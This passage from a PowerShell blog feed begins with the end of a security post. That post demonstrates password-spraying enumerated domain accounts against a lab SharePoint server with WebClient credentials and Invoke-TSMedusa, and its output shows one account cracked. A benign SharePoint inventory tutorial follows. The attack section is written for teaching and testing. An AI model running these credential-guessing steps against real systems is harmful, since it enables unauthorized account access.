&lt;p style="padding-left:30px;"&gt;HACME\Guest&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;HACME\User001&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;HACME\User002&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;The previous example returns a list of all available domain accounts.&lt;/p&gt;
&lt;p&gt;Now let us take a look at how we can use the domain accounts acquired from the previous example to attack a web server.&lt;/p&gt;
&lt;p&gt;In this scenario, we will try to brute force a default configuration (one setup by someone who simply clicked Next, Next, Next &amp;hellip;) in SharePoint Server by using Windows PowerShell.&lt;/p&gt;
&lt;p&gt;If we use Internet Explorer and browse to the SharePoint Server, we get a Windows logon screen that asks us for a user name and password. We could try typing each user name and guess for a password manually, but that is time consuming. Windows PowerShell is all about automating the Windows environment, so let&amp;rsquo;s use it.&lt;/p&gt;
&lt;p&gt;First, we create an instance of &lt;b&gt;Net.WebClient&lt;/b&gt;.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $webClient = New-Object Net.WebClient&lt;/p&gt;
&lt;p&gt;Next, we store the URL (the root site in SharePoint defaults to http://servername/SitePages/Home.aspx). We also specify the user name and the password that we want to test in variables.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $userName = &amp;quot;hacme\user001&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $password = &amp;quot;Password1&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $url = &amp;quot;http://sp01/SitePages/Home.aspx&amp;quot;&lt;/p&gt;
&lt;p&gt;Now, we convert the password to a secure string and create a &lt;b&gt;PSCredential &lt;/b&gt;object to hold the user name and the password:&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $securePassword = ConvertTo-SecureString -AsPlainText -String $password -Force&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $userName, $securePassword&lt;/p&gt;
&lt;p&gt;Finally, we add the &lt;b&gt;credential&lt;/b&gt; object to the &lt;b&gt;WebClient Credential&lt;/b&gt; property and attempt to download the web page by using the &lt;b&gt;DownloadString() &lt;/b&gt;method as shown here.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $webClient.Credentials = $credential&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; $webClient.DownloadString($url)&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Exception calling &amp;quot;DownloadString&amp;quot; with &amp;quot;1&amp;quot; argument(s): &amp;quot;The remote server retur&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;ned an error: (401) Unauthorized.&amp;quot;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;At line:2 char:1&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;+ $webClient.DownloadString($url)&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; + CategoryInfo&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : NotSpecified: (:) [], MethodInvocationException&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; + FullyQualifiedErrorId : WebException&lt;/p&gt;
&lt;p&gt;Because we used the wrong password, an error message is returned that tells us we are unauthorized. In other words, we guessed the wrong password.&lt;/p&gt;
&lt;p&gt;We have a complete list of all the user accounts in the domain, so we can automate these steps and perform the same test on each domain account. We don&amp;rsquo;t want to perform multiple tests on the same account because it might lock out the account, so we&amp;rsquo;ll pick a commonly used password and hope for the best. In this example, we&amp;rsquo;ll use Password1. In the following example, the accounts retrieved from &lt;b&gt;xp_cmdshell&lt;/b&gt; are stored in a .csv file. The .csv file is used as input to the &lt;b&gt;Invoke-TSMedusa&lt;/b&gt; function.&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;PS &amp;gt; Import-Csv .\slqdump.csv |&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Invoke-TSMedusa -Identity &amp;quot;http://sp01/SitePages/Home.aspx&amp;quot; -Password Password1 -Service Web | Select UserName, Password, Success&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;UserName&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Password&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Success&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;--------&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --------&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -------&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;user001&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Password1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; False&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;user002&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Password1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; False&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;user003&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Password1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; False&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;user004&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Password1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; False&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;user005&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Password1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; False&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;user006&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Password1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; False&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;user007&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Password1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; False&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;user008&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Password1 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;True&lt;/p&gt;
&lt;p&gt;The output from the function tells us that user008 has the password &lt;b&gt;Password1&lt;/b&gt;. With a domain account, we can dig even deeper into the domain.&lt;/p&gt;
&lt;h2&gt;Downloads&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;a href="http://gallery.technet.microsoft.com/scriptcenter/Invoke-TSMedusa-75f33f06" target="_blank"&gt;Invoke-TSMedusa&lt;/a&gt; function can be found in the Script Center Repository.&lt;/li&gt;
&lt;li&gt;An extra script that was not specifically mentioned in today&amp;rsquo;s blog, &lt;a href="http://gallery.technet.microsoft.com/scriptcenter/Get-TSSysLogin-e8eb511e" target="_blank"&gt;Get-TSSqlSysLogin.ps1&lt;/a&gt; is also available in the Script Center Repository.&lt;/li&gt;
&lt;li&gt;Additional functions and code related to security are available on the &lt;a href="http://www.truesec.com/security/tools" target="_blank"&gt;TruSec Tools&lt;/a&gt; site.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;~Niklas&lt;/p&gt;
&lt;p&gt;I want to thank Niklas for another great blog. Security Week will continue tomorrow with another blog by Niklas.&lt;/p&gt;
&lt;p&gt;I invite you to follow me on &lt;a href="http://bit.ly/scriptingguystwitter" target="_blank"&gt;Twitter&lt;/a&gt; and &lt;a href="http://bit.ly/scriptingguysfacebook" target="_blank"&gt;Facebook&lt;/a&gt;. If you have any questions, send email to me at &lt;a href="mailto:scripter@microsoft.com" target="_blank"&gt;scripter@microsoft.com&lt;/a&gt;, or post your questions on the &lt;a href="http://bit.ly/scriptingforum" target="_blank"&gt;Official Scripting Guys Forum&lt;/a&gt;. See you tomorrow. Until then, peace.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Ed Wilson, Microsoft Scripting Guy&amp;nbsp;&lt;/strong&gt;&lt;/p&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.technet.com/aggbug.aspx?PostID=3507031" width="1" height="1" alt="" /&gt;</description></item><item><title>Use PowerShell to Inventory and Update SharePoint Environments</title><link>http://powershell.com/cs/blogs/hey-scriptingguy/archive/2011/12/15/use-powershell-to-inventory-and-update-sharepoint-environments.aspx</link><pubDate>Thu, 15 Dec 2011 06:00:00 GMT</pubDate><guid isPermaLink="false">f421715f-7aba-45f0-8a8d-44de5318a3a7:13639</guid><dc:creator>Anonymous</dc:creator><description>&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: Learn how to use Windows PowerShell to inventory objects in your SharePoint environment and to script updates.&lt;/p&gt;
&lt;p&gt;Microsoft Scripting Guy, Ed Wilson, is here. Raymond Mitchell is our guest blogger today. Here is a little bit about Raymond.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/3324.HSG_2D00_12_2D00_15_2D00_11_2D00_1.jpg"&gt;&lt;img src="http://blogs.technet.com/resized-image.ashx/__size/150x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/3324.HSG_2D00_12_2D00_15_2D00_11_2D00_1.jpg" alt="Photo of Raymond Mitchell" title="Photo of Raymond Mitchell" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p style="padding-left:30px;"&gt;Raymond has worked in IT since 1999, and he has worked with every version of SharePoint since its release as SharePoint Team Services. He has spent the last eight years consulting on all things SharePoint. He helped start the Minnesota SharePoint User Group, and he coordinated it for seven years. He has spoken at a number of other user groups and SharePoint Saturday events. Raymond wrote a &lt;a href="http://amzn.to/ihtrc1" target="_blank"&gt;Wrox Blox &lt;/a&gt;about the Data View Web Part and contributed two chapters on the BCS to &lt;a href="http://amzn.to/eXRPyo" target="_blank"&gt;SharePoint 2010 Six-in-One&lt;/a&gt;. He also blogs under the alias &lt;a href="http://www.iwkid.com/" target="_blank"&gt;IWKID&lt;/a&gt; about information worker technologies, including SharePoint and Office. He currently works as a SharePoint consultant at &lt;a href="http://www.sharepoint911.com/" target="_blank"&gt;SharePoint911&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;As a SharePoint administrator, it is only a matter of time until someone asks, &amp;ldquo;How many sites do we have? How many lists? How many of &lt;i&gt;these&lt;/i&gt; web parts?&amp;rdquo; There are lots of variations of these questions, but essentially someone is asking you to inventory objects in your SharePoint environment. If you&amp;rsquo;ve had any experience with database-backed applications, you might be tempted to run to the SharePoint content databases and start running queries, but those databases are &lt;a href="http://support.microsoft.com/kb/841057" target="_blank"&gt;strictly off-limits&lt;/a&gt; in SharePoint. Luckily we have Windows PowerShell to help us out!&lt;/p&gt;
&lt;p&gt;Before we jump into scenarios, let&amp;rsquo;s make a few assumptions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We&amp;rsquo;re running Windows PowerShell scripts on the SharePoint Server&lt;/li&gt;
&lt;li&gt;We&amp;rsquo;re running SharePoint 2010 and leveraging the SharePoint Management Shell&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It is not that our scenario requires these assumptions, but for brevity, we are keeping things simple.&lt;/p&gt;
&lt;h2&gt;Finding SharePoint sites&lt;/h2&gt;
&lt;p&gt;To get started, let us take a look at the first question: &amp;ldquo;How many sites do we have?&amp;rdquo; Unfortunately this question is not as straightforward as it sounds. The following table shows that in SharePoint, there are three separate objects that could easily be confused with &amp;ldquo;sites.&amp;rdquo;&lt;/p&gt;
&lt;table cellspacing="0" cellpadding="0"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;p&gt;&lt;b&gt;Object&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;&lt;b&gt;Relationship&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;&lt;b&gt;Object Model Class&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;p&gt;&lt;b&gt;Web Application&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;Can span multiple IIS sites&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;&lt;a href="http://msdn.microsoft.com/library/Microsoft.SharePoint.Administration.SPWebApplication" target="_blank"&gt;SPWebApplication&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;p&gt;&lt;b&gt;Site Collection&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;Web Applications can contain multiple site collections&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;&lt;a href="http://msdn.microsoft.com/library/Microsoft.SharePoint.SPSite.RootWeb" target="_blank"&gt;SPSite&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;p&gt;&lt;b&gt;Web&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;Each site collection typically contains multiple webs (a &lt;a href="http://msdn.microsoft.com/library/Microsoft.SharePoint.SPSite.RootWeb" target="_blank"&gt;RootWeb&lt;/a&gt; and its &lt;a href="http://msdn.microsoft.com/library/Microsoft.SharePoint.SPWeb.Webs" target="_blank"&gt;sub webs&lt;/a&gt;)&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;&lt;a href="http://msdn.microsoft.com/library/Microsoft.SharePoint.SPWeb.Webs" target="_blank"&gt;SPWeb&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;In this example, we will assume that they are asking about how many webs, so we will first get the &lt;b&gt;Web Application&lt;/b&gt; object, and then count the webs for each site collection. The following image illustrates how to accomplish this task. (This code has been uploaded to the &lt;a href="http://gallery.technet.microsoft.com/scriptcenter/Get-count-of-all-Webs-in-a-fc5388b4" target="_blank"&gt;Script Center Repository&lt;/a&gt;.)&lt;/p&gt;
&lt;p&gt;&lt;a href="http://blogs.technet.com/cfs-file.ashx/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/3288.hsg_2D00_12_2D00_15_2D00_11_2D00_2.jpg"&gt;&lt;img src="http://blogs.technet.com/resized-image.ashx/__size/550x0/__key/communityserver-blogs-components-weblogfiles/00-00-00-76-18/3288.hsg_2D00_12_2D00_15_2D00_11_2D00_2.jpg" alt="Image of script" title="Image of script" /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Because we are using SharePoint 2010 and the 2010 Management Shell (which is preloaded with the Microsoft.SharePoint.PowerShell snap-in), we can leverage cmdlets like &lt;a href="http://technet.microsoft.com/en-us/library/ff607562.aspx" target="_blank"&gt;Get-SPWebApplication&lt;/a&gt; which makes life considerably easier.&lt;/p&gt;
&lt;h2&gt;Inventorying SharePoint lists&lt;/h2&gt;
&lt;p&gt;Next, let us take a look at how many lists we have. Again this question might not be as straightforward as it sounds. In SharePoint, there are two main content containers that could be included in this inventory: Lists and Libraries.&lt;/p&gt;
&lt;table cellspacing="0" cellpadding="0"&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;p&gt;&lt;b&gt;Object&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;&lt;b&gt;Description&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;&lt;b&gt;Object Model Class&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;p&gt;&lt;b&gt;List&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;Contains list data&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;&lt;a href="http://msdn.microsoft.com/library/Microsoft.SharePoint.SPList" target="_blank"&gt;SPList&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;p&gt;&lt;b&gt;Library&lt;/b&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;Contains documents&lt;/p&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;p&gt;&lt;a href="http://msdn.microsoft.com/library/Microsoft.SharePoint.SPDocumentLibrary" target="_blank"&gt;SPDocumentLibrary&lt;/a&gt;&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
